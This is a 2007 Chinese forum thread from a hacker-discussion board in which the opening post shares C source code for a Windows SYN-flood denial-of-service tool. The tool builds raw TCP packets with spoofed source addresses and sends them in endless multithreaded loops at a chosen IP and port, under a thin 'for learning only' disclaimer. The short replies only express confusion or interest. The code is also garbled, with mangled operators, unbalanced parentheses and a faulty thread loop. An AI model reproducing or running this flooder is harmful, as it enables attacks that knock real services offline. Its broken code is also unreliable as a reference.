首页 | bbs首页 | 列表页 | 产品论坛 | 博客 | 小游戏 | 游戏 | 软件论坛 | 游戏论坛
bbs.zol.com.cn 中关村在线论坛 - 黑客讨论 点击数:81  [搜索] [收藏]

DDOS比较简单的源码,适合出学者编程~

楼主    2007-07-13 20:24:21
秀尔科技
[我要置顶
进士进士进士进士
文章:39
精华:2
博客:36
性别:男
注册:2007-07-07
 
/*
//提供学习,勿做他用
*/
#include "stdafx.h"
#include <windows.h>;
#include <winsock2.h>;
#include <ws2tcpip.h>;
#pragma comment(lib,"WS2_32.LIB"

typedef struct tag_ip_Header//ip首部
{
        unsigned char h_verlen;//4位手部长度,和4位IP版本号
        unsigned char tos;//8位类型服务
        unsigned short total_len;//16位总长度
        unsigned short ident;//16位标志
        unsigned short frag_and_flags;//3位标志位(如SYN,ACK,等等)
        unsigned char ttl;//8位生存时间
        unsigned char proto;//8位协议
        unsigned short checksum;//ip手部效验和
        unsigned int SourceIP;//伪造IP地址
        unsigned int DestIP;//攻击的ip地址
}IPHEADER;

typedef struct tag_tcp_Header
{
        USHORT th_sport;//伪造端口
        USHORT th_dport;//攻击端口
        unsigned int th_seq;//32位系列号
        unsigned int th_ack;//32位确认号
        unsigned char th_lenres;//4位首布长度,6位保留字
        unsigned char th_flag;//6位标志位
        USHORT th_win;//16位窗口大小
        USHORT th_sum;//16位效验和
        USHORT th_urp;//
}TCPHEADER;

typedef struct tag_tsd_Header
{
        unsigned long saddr;//伪造地址
        unsigned long daddr;//攻击地址
        char mbz;//
        char ptcl;//协议类型
        unsigned short tcpl;//TCP长度
}TSDHEADER;

DWORD WINAPI Start(void);
HANDLE hFind[10];

//计算效验和
USHORT checksum(USHORT *buffer,int size)
{
        unsigned long check=0;
        while(size>;1)
        {
                check+=*buffer++;
                size -=sizeof(USHORT);
        }
        if(size)
        {
                check += *(USHORT*)buffer;
        }
        check = (check >;>;16) + (check & 0xffff);
        check += (check >;>;16);
        return (USHORT)(~check);
}
//攻击线程
DWORD WINAPI Statr(void)
{
        SOCKET sock;
        WSADATA WSAData;
        SOCKADDR_IN syn_in;
        IPHEADER ipHeader;
        TCPHEADER tcpHeader;
        TSDHEADER psdHeader;
        const char *addr = "127.0.0.1";//攻击的IP地址
    int port = 135;//要攻击的端口
        if(WSAStartup(MAKEWORD(2,2),&WSAData))
        {
                return false;
        }
    if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
        {
                return false;
        }
        BOOL flag=true;
        if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(flag))==SOCKET_ERROR)
        {
                return false;
        }
        int Time =888;
        if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&Time,sizeof(Time))==SOCKET_ERROR)
        {
                return false;
        }
        syn_in.sin_family = AF_INET;
        syn_in.sin_port = htons(port);
        syn_in.sin_addr.S_un.S_addr = inet_addr(addr);
    while(TRUE)
        {
        //填充IP首部
     ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
     ipHeader.tos=0;
     ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
     ipHeader.ident=1;
     ipHeader.frag_and_flags=0;
     ipHeader.ttl=(unsigned char)GetTickCount()%514+620;
     ipHeader.proto=IPPROTO_TCP;
     ipHeader.checksum=0;
     ipHeader.SourceIP=htonl(GetTickCount()*1986);
     ipHeader.DestIP=inet_addr(addr);
    //填充Tcp首部
         int SourcePort =GetTickCount()*1986%514;
     tcpHeader.th_dport=htons(port);
     tcpHeader.th_sport=htons(SourcePort);
     tcpHeader.th_seq=htonl(0x1234567;
     tcpHeader.th_ack=0;
     tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
     tcpHeader.th_flag=2;
     tcpHeader.th_win=htons(620);
     tcpHeader.th_urp=0;
     tcpHeader.th_sum=0;
     //填充TCP伪首部用来计算TCP头部的效验和
     psdHeader.saddr=ipHeader.SourceIP;
     psdHeader.daddr=ipHeader.DestIP;
     psdHeader.mbz=0;
     psdHeader.ptcl=IPPROTO_TCP;
     psdHeader.tcpl=htons(sizeof(tcpHeader));

     //计算校验和
         char SendBuff[100]={0};
     memcpy(SendBuff, &psdHeader, sizeof(psdHeader));
     memcpy(SendBuff+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
     tcpHeader.th_sum=checksum((USHORT *)SendBuff,sizeof(psdHeader)+sizeof(tcpHeader));
     memcpy(SendBuff, &ipHeader, sizeof(ipHeader));
     memcpy(SendBuff+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));

         //发送数据包
     int Syn=sendto(sock, SendBuff, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&syn_in, sizeof(syn_in));
     if(Syn==SOCKET_ERROR)
         {
       return false;
         }
        }
        closesocket(sock);
        WSACleanup();
        return true;
}

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{    //启动线程,10,大家可以自己改
        for(int i=0;i<10;i++)
        {
                hFind[i-1]=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Statr,0,0,NULL);
        i--;
        }
        return 0;
}
 
 
 
 
  秀尔科技-营销型网站建设|美观大方|速度快|安全度高|就在秀尔科技 http://www.sure2008.cn
 
  举报
1 楼    2007-07-13 21:01:38
红色威龙1  
帮派:梁山好汉
探花探花探花探花探花探花
文章:891
性别:男
注册:2005-08-05
 
哎初级的都看不懂~郁闷~~~~~~~~~~~~~~~
  ~~~~~~~~~~~~~~~~~~~~~~~~~
 
  举报
2 楼    2007-07-13 21:51:31
我爱筝儿  
进士进士进士进士
文章:64
精华:1
性别:男
注册:2007-05-26
 
不是很懂,学过一点。
  
 
  举报
3 楼    2007-07-14 18:06:24
♬天秤两端ϗ  
[音响综合讨论]版主
六等士爵
文章:391755
精华:1035
博客:34
性别:男
注册:2004-12-01
 
慢慢努力
  
 
  举报
4 楼    2007-07-17 09:58:33
说事  
武略佐骑尉(从六品)武略佐骑尉(从六品)武略佐骑尉(从六品)武略佐骑尉(从六品)
文章:24
性别:男
注册:2007-06-12
 
学习中.
   内怀冰清 外涵玉润
 
  举报
  帖子已过期,不可回复:)
  每日精选
N卡比A卡快?
N卡比A卡快?
·GC08暴雪大爆料 暗黑3沦为成人游戏
·番茄花园抢先微软走平台化道路(图解
·打鱼先补网:反垄断与番茄花园
·打手机引爆天然气酿惨案元凶是山寨机
·总有一天,人人都爱山寨机
·搜狐耗资1亿买下了“鸟巢一代”?
装机必备软件
装机必备软件
大片热片免费看
大片热片免费看
·钟爱诺基亚 百度知道网友推荐手机一览
·四大转变 6199元ThinkPad SL400评测
·Intel下调45nm售价 AMD紧急迫降夺市场
·比P45豪华 技嘉节能P43实战E5200超频
·不买后悔 8月网友公认最超值10款液晶
·安全U盘小调查
暴风影音3.1
暴风影音3.1
  热门帖子TOP10
1
当心Windows“运行”命令的七种暗器
2
最新灰鸽子破解免杀版
3
用任务管理器揪出暗藏的木马
4
教你从进程中判断出病毒和木马
5
如何查询详细的IP地址?
6
简单入侵个人电脑的步骤
7
巧用U盘破除XP管理员密码
8
端口开放与关闭问题!
9
冷眼旁观360的起诉闹剧(转)
10
周鸿祎搞起3721老行当——弹窗广告
更多相关帖子>>
硬件论坛:DIY与攒机 笔记本 硬件高手
  产品论坛 手机  笔记本  数码相机  CPU  显卡
恭王府外拍美女
恭王府外拍美女
网友怒摔苹果手机
网友怒摔苹果手机
联想首次淘宝开店
联想首次淘宝开店
CPU+GPU合二为一
CPU+GPU合二为一

ZOL简介 | 用户注册 | 广告服务 | 人员招聘(月) | ZOL历程 | 互动营销中心 | 站点地图 | 联系方式 | 欢迎投稿 | RSS订阅 | 友情链接
北京海淀区知春路113号银网中心A座9F 传真:010-62529275 反馈留言板 欢迎批评指正
Copyright © 1999 - 2008 ZOL. All rights reserved. 中关村在线 版权所有. 京ICP证010391号